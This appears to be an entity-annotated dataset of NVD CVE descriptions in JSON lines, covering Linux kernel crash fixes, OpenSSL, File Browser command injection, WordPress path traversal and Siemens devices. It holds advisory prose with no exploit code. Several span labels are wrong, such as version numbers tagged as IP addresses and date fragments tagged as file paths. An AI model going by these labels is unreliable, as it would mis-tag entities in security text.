{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath10k: shutdown driver when hardware is unreliable\n\nIn rare cases, ath10k may lose connection with the PCIe bus due to\nsome unknown reasons, which could further lead to system crashes during\nresuming due to watchdog timeout:\n\nath10k_pci 0000:01:00.0: wmi command 20486 timeout, restarting hardware\nath10k_pci 0000:01:00.0: already restarting\nath10k_pci 0000:01:00.0: failed to stop WMI vdev 0: -11\nath10k_pci 0000:01:00.0: failed to stop vdev 0: -11\nieee80211 phy0: PM: **** DPM device timeout ****\nCall Trace:\n panic+0x125/0x315\n dpm_watchdog_set+0x54/0x54\n dpm_watchdog_handler+0x57/0x57\n call_timer_fn+0x31/0x13c\n\nAt this point, all WMI commands will timeout and attempt to restart\ndevice. So set a threshold for consecutive restart failures. If the\nthreshold is exceeded, consider the hardware is unreliable and all\nath10k operations should be skipped to avoid system crash.\n\nfail_cont_count and pending_recovery are atomic variables, and\ndo not involve complex conditional logic. Therefore, even if recovery\ncheck and reconfig complete are executed concurrently, the recovery\nmechanism will not be broken.\n\nTested-on: QCA6174 hw3.2 PCI WLAN.RM.4.4.1-00288-QCARMSWPZ-1", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39746"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nlan966x: Fix sleeping in atomic context\n\nThe following warning was seen when we try to connect using ssh to the device.\n\nBUG: sleeping function called from invalid context at kernel/locking/mutex.c:575\nin_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 104, name: dropbear\npreempt_count: 1, expected: 0\nINFO: lockdep is turned off.\nCPU: 0 UID: 0 PID: 104 Comm: dropbear Tainted: G        W           6.18.0-rc2-00399-g6f1ab1b109b9-dirty #530 NONE\nTainted: [W]=WARN\nHardware name: Generic DT based system\nCall trace:\n unwind_backtrace from show_stack+0x10/0x14\n show_stack from dump_stack_lvl+0x7c/0xac\n dump_stack_lvl from __might_resched+0x16c/0x2b0\n __might_resched from __mutex_lock+0x64/0xd34\n __mutex_lock from mutex_lock_nested+0x1c/0x24\n mutex_lock_nested from lan966x_stats_get+0x5c/0x558\n lan966x_stats_get from dev_get_stats+0x40/0x43c\n dev_get_stats from dev_seq_printf_stats+0x3c/0x184\n dev_seq_printf_stats from dev_seq_show+0x10/0x30\n dev_seq_show from seq_read_iter+0x350/0x4ec\n seq_read_iter from seq_read+0xfc/0x194\n seq_read from proc_reg_read+0xac/0x100\n proc_reg_read from vfs_read+0xb0/0x2b0\n vfs_read from ksys_read+0x6c/0xec\n ksys_read from ret_fast_syscall+0x0/0x1c\nException stack(0xf0b11fa8 to 0xf0b11ff0)\n1fa0:                   00000001 00001000 00000008 be9048d8 00001000 00000001\n1fc0: 00000001 00001000 00000008 00000003 be905920 0000001e 00000000 00000001\n1fe0: 0005404c be9048c0 00018684 b6ec2cd8\n\nIt seems that we are using a mutex in a atomic context which is wrong.\nChange the mutex with a spinlock.", "spans": {"FILEPATH: /locking/mutex.c": [[250, 266]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68320"}}
{"text": "Cross-site scripting (XSS) vulnerability allows remote attackers to inject arbitrary web script or HTML via the page parameter to service-monitoring/src/index.php. This vulnerability is fixed in versions 1.6.4, 18.10.3, 19.04.3, and 19.0.1 of the Centreon host-monitoring widget; 1.6.4, 18.10.5, 19.04.3, 19.10.2 of the Centreon service-monitoring widget; and 1.0.3, 18.10.1, 19.04.1, 19.10.1 of the Centreon tactical-overview widget.", "spans": {"FILEPATH: /src/index.php.": [[148, 163]], "VULNERABILITY: Cross-site scripting": [[0, 20]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10946"}}
{"text": "Issue summary: A TLS 1.3 connection using certificate compression can be\nforced to allocate a large buffer before decompression without checking\nagainst the configured certificate size limit.\n\nImpact summary: An attacker can cause per-connection memory allocations of\nup to approximately 22 MiB and extra CPU work, potentially leading to\nservice degradation or resource exhaustion (Denial of Service).\n\nIn affected configurations, the peer-supplied uncompressed certificate\nlength from a CompressedCertificate message is used to grow a heap buffer\nprior to decompression. This length is not bounded by the max_cert_list\nsetting, which otherwise constrains certificate message sizes. An attacker\ncan exploit this to cause large per-connection allocations followed by\nhandshake failure. No memory corruption or information disclosure occurs.\n\nThis issue only affects builds where TLS 1.3 certificate compression is\ncompiled in (i.e., not OPENSSL_NO_COMP_ALG) and at least one compression\nalgorithm (brotli, zlib, or zstd) is available, and where the compression\nextension is negotiated. Both clients receiving a server CompressedCertificate\nand servers in mutual TLS scenarios receiving a client CompressedCertificate\nare affected. Servers that do not request client certificates are not\nvulnerable to client-initiated attacks.\n\nUsers can mitigate this issue by setting SSL_OP_NO_RX_CERTIFICATE_COMPRESSION\nto disable receiving compressed certificates.\n\nThe FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue,\nas the TLS implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue.\n\nOpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue.", "spans": {"SYSTEM: OpenSSL": [[1567, 1574], [1598, 1605], [1659, 1666]], "VULNERABILITY: information disclosure": [[809, 831]], "VULNERABILITY: resource exhaustion": [[361, 380]], "VULNERABILITY: Denial of Service": [[382, 399]], "VULNERABILITY: memory corruption": [[788, 805]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-66199"}}
{"text": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 through 2.63.1, the hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.", "spans": {"VULNERABILITY: Remote Code Execution": [[640, 661]], "VULNERABILITY: OS command injection": [[319, 339]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35585"}}
{"text": "In Wagtail before versions 2.7.3 and 2.8.2, a potential timing attack exists on pages or documents that have been protected with a shared password through Wagtail's \"Privacy\" controls. This password check is performed through a character-by-character string comparison, and so an attacker who is able to measure the time taken by this check to a high degree of accuracy could potentially use timing differences to gain knowledge of the password. This is [understood to be feasible on a local network, but not on the public internet](https://groups.google.com/d/msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ).\n\nPrivacy settings that restrict access to pages/documents on a per-user or per-group basis (as opposed to a shared password) are unaffected by this vulnerability.\n\nThis has been patched in 2.7.3, 2.8.2, 2.9.", "spans": {"URL: https://groups.google.com/d/msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ": [[533, 607]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11037"}}
{"text": "An issue was discovered in Veritas NetBackup through 8.3.0.1 and OpsCenter through 8.3.0.1. Processes using OpenSSL attempt to load and execute libraries from paths that do not exist by default on the Windows operating system. By default, on Windows systems, users can create directories under the top level of any drive. If a low privileged user creates an affected path with a library that the Veritas product attempts to load, they can execute arbitrary code as SYSTEM or Administrator. This gives the attacker administrator access on the system, allowing the attacker (by default) to access all data, access all installed applications, etc. This vulnerability affects master servers, media servers, clients, and OpsCenter servers on the Windows platform. The system is vulnerable during an install or upgrade and post-install during normal operations.", "spans": {"IP_ADDRESS: 8.3.0.1": [[53, 60], [83, 90]], "SYSTEM: Windows": [[201, 208], [242, 249], [741, 748]], "SYSTEM: OpenSSL": [[108, 115]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36169"}}
{"text": "The Simple Download Counter plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.2.2. This is due to insufficient path validation in the `simple_download_counter_parse_path()` function. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which may contain sensitive information such as database credentials (wp-config.php) or system files. Please note that the vendor opted to continue to allow remote file downloads from arbitrary locations on the server, however, has disabled this functionality on multi-sites and provided a warning to site owners in the readme.txt when they install the plugin. While not an optimal patch, we have considered this sufficient and recommend users proceed to use the plugin with caution.", "spans": {"FILEPATH: config.php": [[449, 459]], "SYSTEM: WordPress": [[39, 48]], "VULNERABILITY: Path Traversal": [[66, 80]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-13677"}}
{"text": "b2-sdk-python is a python library to access cloud storage provided by backblaze. Linux and Mac releases of the SDK version 1.14.0 and below contain a key disclosure vulnerability that, in certain conditions, can be exploited by local attackers through a time-of-check-time-of-use (TOCTOU) race condition. SDK users of the SqliteAccountInfo format are vulnerable while users of the InMemoryAccountInfo format are safe. The SqliteAccountInfo saves API keys (and bucket name-to-id mapping) in a local database file ($XDG_CONFIG_HOME/b2/account_info, ~/.b2_account_info or a user-defined path). When first created, the file is world readable and is (typically a few milliseconds) later altered to be private to the user. If the directory containing the file is readable by a local attacker then during the brief period between file creation and permission modification, a local attacker can race to open the file and maintain a handle to it. This allows the local attacker to read the contents after the file after the sensitive information has been saved to it. Consumers of this SDK who rely on it to save data using SqliteAccountInfo class should upgrade to the latest version of the SDK. Those who believe a local user might have opened a handle using this race condition, should remove the affected database files and regenerate all application keys. Users should upgrade to b2-sdk-python 1.14.1 or later.", "spans": {"FILEPATH: /b2/account_info": [[529, 545]], "SYSTEM: Linux": [[81, 86]], "VULNERABILITY: race condition": [[289, 303], [1257, 1271]], "VULNERABILITY: TOCTOU": [[281, 287]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23651"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 7u331, 8u321, 11.0.14, 17.0.2, 18; Oracle GraalVM Enterprise Edition: 20.3.5, 21.3.1 and 22.0.0.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 3.7 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"IP_ADDRESS: 22.0.0.2": [[267, 275]], "SYSTEM: Java": [[28, 32], [89, 93], [169, 173], [408, 412], [589, 593], [669, 673], [726, 730], [767, 771], [872, 876]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [162, 168], [213, 219], [401, 407], [417, 423], [582, 588], [598, 604]], "VULNERABILITY: denial of service": [[547, 564]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21443"}}
{"text": "A vulnerability has been identified in SCALANCE X302-7 EEC (230V), SCALANCE X302-7 EEC (230V, coated), SCALANCE X302-7 EEC (24V), SCALANCE X302-7 EEC (24V, coated), SCALANCE X302-7 EEC (2x 230V), SCALANCE X302-7 EEC (2x 230V, coated), SCALANCE X302-7 EEC (2x 24V), SCALANCE X302-7 EEC (2x 24V, coated), SCALANCE X304-2FE, SCALANCE X306-1LD FE, SCALANCE X307-2 EEC (230V), SCALANCE X307-2 EEC (230V, coated), SCALANCE X307-2 EEC (24V), SCALANCE X307-2 EEC (24V, coated), SCALANCE X307-2 EEC (2x 230V), SCALANCE X307-2 EEC (2x 230V, coated), SCALANCE X307-2 EEC (2x 24V), SCALANCE X307-2 EEC (2x 24V, coated), SCALANCE X307-3, SCALANCE X307-3, SCALANCE X307-3LD, SCALANCE X307-3LD, SCALANCE X308-2, SCALANCE X308-2, SCALANCE X308-2LD, SCALANCE X308-2LD, SCALANCE X308-2LH, SCALANCE X308-2LH, SCALANCE X308-2LH+, SCALANCE X308-2LH+, SCALANCE X308-2M, SCALANCE X308-2M, SCALANCE X308-2M PoE, SCALANCE X308-2M PoE, SCALANCE X308-2M TS, SCALANCE X308-2M TS, SCALANCE X310, SCALANCE X310, SCALANCE X310FE, SCALANCE X310FE, SCALANCE X320-1 FE, SCALANCE X320-1-2LD FE, SCALANCE X408-2, SCALANCE XR324-12M (230V, ports on front), SCALANCE XR324-12M (230V, ports on front), SCALANCE XR324-12M (230V, ports on rear), SCALANCE XR324-12M (230V, ports on rear), SCALANCE XR324-12M (24V, ports on front), SCALANCE XR324-12M (24V, ports on front), SCALANCE XR324-12M (24V, ports on rear), SCALANCE XR324-12M (24V, ports on rear), SCALANCE XR324-12M TS (24V), SCALANCE XR324-12M TS (24V), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (24V, ports on front), SCALANCE XR324-4M EEC (24V, ports on front), SCALANCE XR324-4M EEC (24V, ports on rear), SCALANCE XR324-4M EEC (24V, ports on rear), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (2x 24V, ports on front), SCALANCE XR324-4M EEC (2x 24V, ports on front), SCALANCE XR324-4M EEC (2x 24V, ports on rear), SCALANCE XR324-4M EEC (2x 24V, ports on rear), SCALANCE XR324-4M PoE (230V, ports on front), SCALANCE XR324-4M PoE (230V, ports on rear), SCALANCE XR324-4M PoE (24V, ports on front), SCALANCE XR324-4M PoE (24V, ports on rear), SCALANCE XR324-4M PoE TS (24V, ports on front), SIPLUS NET SCALANCE X308-2. The integrated web server of the affected device could allow remote attackers to perform actions with the permissions of a victim user, provided the victim user has an active session and is induced to trigger the malicious request.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-25754"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nIB/IPoIB: Fix legacy IPoIB due to wrong number of queues\n\nThe cited commit creates child PKEY interfaces over netlink will\nmultiple tx and rx queues, but some devices doesn't support more than 1\ntx and 1 rx queues. This causes to a crash when traffic is sent over the\nPKEY interface due to the parent having a single queue but the child\nhaving multiple queues.\n\nThis patch fixes the number of queues to 1 for legacy IPoIB at the\nearliest possible point in time.\n\nBUG: kernel NULL pointer dereference, address: 000000000000036b\nPGD 0 P4D 0\nOops: 0000 [#1] SMP\nCPU: 4 PID: 209665 Comm: python3 Not tainted 6.1.0_for_upstream_min_debug_2022_12_12_17_02 #1\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\nRIP: 0010:kmem_cache_alloc+0xcb/0x450\nCode: ce 7e 49 8b 50 08 49 83 78 10 00 4d 8b 28 0f 84 cb 02 00 00 4d 85 ed 0f 84 c2 02 00 00 41 8b 44 24 28 48 8d 4a\n01 49 8b 3c 24 <49> 8b 5c 05 00 4c 89 e8 65 48 0f c7 0f 0f 94 c0 84 c0 74 b8 41 8b\nRSP: 0018:ffff88822acbbab8 EFLAGS: 00010202\nRAX: 0000000000000070 RBX: ffff8881c28e3e00 RCX: 00000000064f8dae\nRDX: 00000000064f8dad RSI: 0000000000000a20 RDI: 0000000000030d00\nRBP: 0000000000000a20 R08: ffff8882f5d30d00 R09: ffff888104032f40\nR10: ffff88810fade828 R11: 736f6d6570736575 R12: ffff88810081c000\nR13: 00000000000002fb R14: ffffffff817fc865 R15: 0000000000000000\nFS:  00007f9324ff9700(0000) GS:ffff8882f5d00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000000000000036b CR3: 00000001125af004 CR4: 0000000000370ea0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n skb_clone+0x55/0xd0\n ip6_finish_output2+0x3fe/0x690\n ip6_finish_output+0xfa/0x310\n ip6_send_skb+0x1e/0x60\n udp_v6_send_skb+0x1e5/0x420\n udpv6_sendmsg+0xb3c/0xe60\n ? ip_mc_finish_output+0x180/0x180\n ? __switch_to_asm+0x3a/0x60\n ? __switch_to_asm+0x34/0x60\n sock_sendmsg+0x33/0x40\n __sys_sendto+0x103/0x160\n ? _copy_to_user+0x21/0x30\n ? kvm_clock_get_cycles+0xd/0x10\n ? ktime_get_ts64+0x49/0xe0\n __x64_sys_sendto+0x25/0x30\n do_syscall_64+0x3d/0x90\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\nRIP: 0033:0x7f9374f1ed14\nCode: 42 41 f8 ff 44 8b 4c 24 2c 4c 8b 44 24 20 89 c5 44 8b 54 24 28 48 8b 54 24 18 b8 2c 00 00 00 48 8b 74 24 10 8b\n7c 24 08 0f 05 <48> 3d 00 f0 ff ff 77 34 89 ef 48 89 44 24 08 e8 68 41 f8 ff 48 8b\nRSP: 002b:00007f9324ff7bd0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c\nRAX: ffffffffffffffda RBX: 00007f9324ff7cc8 RCX: 00007f9374f1ed14\nRDX: 00000000000002fb RSI: 00007f93000052f0 RDI: 0000000000000030\nRBP: 0000000000000000 R08: 00007f9324ff7d40 R09: 000000000000001c\nR10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000000\nR13: 000000012a05f200 R14: 0000000000000001 R15: 00007f9374d57bdc\n </TASK>", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[779, 823]], "FILEPATH: /01/2014": [[826, 834]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[737, 741]], "VULNERABILITY: NULL pointer dereference": [[544, 568]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52745"}}
{"text": "Vulnerability in the Oracle BI Publisher product of Oracle Fusion Middleware (component: Web Server). Supported versions that are affected are 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data as well as unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).", "spans": {"IP_ADDRESS: 5.5.0.0": [[143, 150]], "IP_ADDRESS: 11.1.1.9": [[154, 162]], "IP_ADDRESS: 12.2.1.3": [[166, 174]], "IP_ADDRESS: 12.2.1.4": [[181, 189]], "ORGANIZATION: Oracle": [[21, 27], [52, 58], [300, 306], [438, 444], [631, 637], [734, 740]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2062"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\njbd2: avoid bug_on in jbd2_journal_get_create_access() when file system corrupted\n\nThere's issue when file system corrupted:\n------------[ cut here ]------------\nkernel BUG at fs/jbd2/transaction.c:1289!\nOops: invalid opcode: 0000 [#1] SMP KASAN PTI\nCPU: 5 UID: 0 PID: 2031 Comm: mkdir Not tainted 6.18.0-rc1-next\nRIP: 0010:jbd2_journal_get_create_access+0x3b6/0x4d0\nRSP: 0018:ffff888117aafa30 EFLAGS: 00010202\nRAX: 0000000000000000 RBX: ffff88811a86b000 RCX: ffffffff89a63534\nRDX: 1ffff110200ec602 RSI: 0000000000000004 RDI: ffff888100763010\nRBP: ffff888100763000 R08: 0000000000000001 R09: ffff888100763028\nR10: 0000000000000003 R11: 0000000000000000 R12: 0000000000000000\nR13: ffff88812c432000 R14: ffff88812c608000 R15: ffff888120bfc000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f91d6970c99 CR3: 00000001159c4000 CR4: 00000000000006f0\nCall Trace:\n <TASK>\n __ext4_journal_get_create_access+0x42/0x170\n ext4_getblk+0x319/0x6f0\n ext4_bread+0x11/0x100\n ext4_append+0x1e6/0x4a0\n ext4_init_new_dir+0x145/0x1d0\n ext4_mkdir+0x326/0x920\n vfs_mkdir+0x45c/0x740\n do_mkdirat+0x234/0x2f0\n __x64_sys_mkdir+0xd6/0x120\n do_syscall_64+0x5f/0xfa0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nThe above issue occurs with us in errors=continue mode when accompanied by\nstorage failures. There have been many inconsistencies in the file system\ndata.\nIn the case of file system data inconsistency, for example, if the block\nbitmap of a referenced block is not set, it can lead to the situation where\na block being committed is allocated and used again. As a result, the\nfollowing condition will not be satisfied then trigger BUG_ON. Of course,\nit is entirely possible to construct a problematic image that can trigger\nthis BUG_ON through specific operations. In fact, I have constructed such\nan image and easily reproduced this issue.\nTherefore, J_ASSERT() holds true only under ideal conditions, but it may\nnot necessarily be satisfied in exceptional scenarios. Using J_ASSERT()\ndirectly in abnormal situations would cause the system to crash, which is\nclearly not what we want. So here we directly trigger a JBD abort instead\nof immediately invoking BUG_ON.", "spans": {"FILEPATH: /jbd2/transaction.c": [[247, 266]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68337"}}
{"text": "A vulnerability has been identified in SCALANCE W1748-1 M12 (6GK5748-1GY01-0AA0), SCALANCE W1748-1 M12 (6GK5748-1GY01-0TA0), SCALANCE W1788-1 M12 (6GK5788-1GY01-0AA0), SCALANCE W1788-2 EEC M12 (6GK5788-2GY01-0TA0), SCALANCE W1788-2 M12 (6GK5788-2GY01-0AA0), SCALANCE W1788-2IA M12 (6GK5788-2HY01-0AA0), SCALANCE W721-1 RJ45 (6GK5721-1FC00-0AA0), SCALANCE W721-1 RJ45 (6GK5721-1FC00-0AB0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AA0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AB0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AC0), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AA0), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AA6), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AB0), SCALANCE W734-1 RJ45 (USA) (6GK5734-1FX00-0AB6), SCALANCE W738-1 M12 (6GK5738-1GY00-0AA0), SCALANCE W738-1 M12 (6GK5738-1GY00-0AB0), SCALANCE W748-1 M12 (6GK5748-1GD00-0AA0), SCALANCE W748-1 M12 (6GK5748-1GD00-0AB0), SCALANCE W748-1 RJ45 (6GK5748-1FC00-0AA0), SCALANCE W748-1 RJ45 (6GK5748-1FC00-0AB0), SCALANCE W761-1 RJ45 (6GK5761-1FC00-0AA0), SCALANCE W761-1 RJ45 (6GK5761-1FC00-0AB0), SCALANCE W774-1 M12 EEC (6GK5774-1FY00-0TA0), SCALANCE W774-1 M12 EEC (6GK5774-1FY00-0TB0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AA0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AA6), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AB0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AC0), SCALANCE W774-1 RJ45 (USA) (6GK5774-1FX00-0AB6), SCALANCE W778-1 M12 (6GK5778-1GY00-0AA0), SCALANCE W778-1 M12 (6GK5778-1GY00-0AB0), SCALANCE W778-1 M12 EEC (6GK5778-1GY00-0TA0), SCALANCE W778-1 M12 EEC (USA) (6GK5778-1GY00-0TB0), SCALANCE W786-1 RJ45 (6GK5786-1FC00-0AA0), SCALANCE W786-1 RJ45 (6GK5786-1FC00-0AB0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AA0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AB0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AC0), SCALANCE W786-2 SFP (6GK5786-2FE00-0AA0), SCALANCE W786-2 SFP (6GK5786-2FE00-0AB0), SCALANCE W786-2IA RJ45 (6GK5786-2HC00-0AA0), SCALANCE W786-2IA RJ45 (6GK5786-2HC00-0AB0), SCALANCE W788-1 M12 (6GK5788-1GD00-0AA0), SCALANCE W788-1 M12 (6GK5788-1GD00-0AB0), SCALANCE W788-1 RJ45 (6GK5788-1FC00-0AA0), SCALANCE W788-1 RJ45 (6GK5788-1FC00-0AB0), SCALANCE W788-2 M12 (6GK5788-2GD00-0AA0), SCALANCE W788-2 M12 (6GK5788-2GD00-0AB0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TA0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TB0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TC0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AA0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AB0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AC0), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0), SCALANCE WAM766-1 (EU) (6GK5766-1GE00-7DA0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0), SCALANCE WAM766-1 EEC (EU) (6GK5766-1GE00-7TA0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0), SCALANCE WUM766-1 (EU) (6GK5766-1GE00-3DA0), SCALANCE WUM766-1 (US) (6GK5766-1GE00-3DB0). This CVE refers to Scenario 2 \"Abuse the queue for network disruptions\" of CVE-2022-47522.\r\n\r\nAffected devices can be tricked into enabling its power-saving mechanisms for a victim client. This could allow a physically proximate attacker to execute disconnection and denial-of-service attacks.", "spans": {"CVE_ID: CVE-2022-47522": [[2914, 2928]], "VULNERABILITY: denial-of-service": [[3106, 3123]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-30190"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: protect link down work from execute after lgr freed\n\nlink down work may be scheduled before lgr freed but execute\nafter lgr freed, which may result in crash. So it is need to\nhold a reference before shedule link down work, and put the\nreference after work executed or canceled.\n\nThe relevant crash call stack as follows:\n list_del corruption. prev->next should be ffffb638c9c0fe20,\n    but was 0000000000000000\n ------------[ cut here ]------------\n kernel BUG at lib/list_debug.c:51!\n invalid opcode: 0000 [#1] SMP NOPTI\n CPU: 6 PID: 978112 Comm: kworker/6:119 Kdump: loaded Tainted: G #1\n Hardware name: Alibaba Cloud Alibaba Cloud ECS, BIOS 2221b89 04/01/2014\n Workqueue: events smc_link_down_work [smc]\n RIP: 0010:__list_del_entry_valid.cold+0x31/0x47\n RSP: 0018:ffffb638c9c0fdd8 EFLAGS: 00010086\n RAX: 0000000000000054 RBX: ffff942fb75e5128 RCX: 0000000000000000\n RDX: ffff943520930aa0 RSI: ffff94352091fc80 RDI: ffff94352091fc80\n RBP: 0000000000000000 R08: 0000000000000000 R09: ffffb638c9c0fc38\n R10: ffffb638c9c0fc30 R11: ffffffffa015eb28 R12: 0000000000000002\n R13: ffffb638c9c0fe20 R14: 0000000000000001 R15: ffff942f9cd051c0\n FS:  0000000000000000(0000) GS:ffff943520900000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007f4f25214000 CR3: 000000025fbae004 CR4: 00000000007706e0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n PKRU: 55555554\n Call Trace:\n  rwsem_down_write_slowpath+0x17e/0x470\n  smc_link_down_work+0x3c/0x60 [smc]\n  process_one_work+0x1ac/0x350\n  worker_thread+0x49/0x2f0\n  ? rescuer_thread+0x360/0x360\n  kthread+0x118/0x140\n  ? __kthread_bind_mask+0x60/0x60\n  ret_from_fork+0x1f/0x30", "spans": {"FILEPATH: /01/2014": [[732, 740]], "FILEPATH: list_debug.c": [[546, 558]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56718"}}
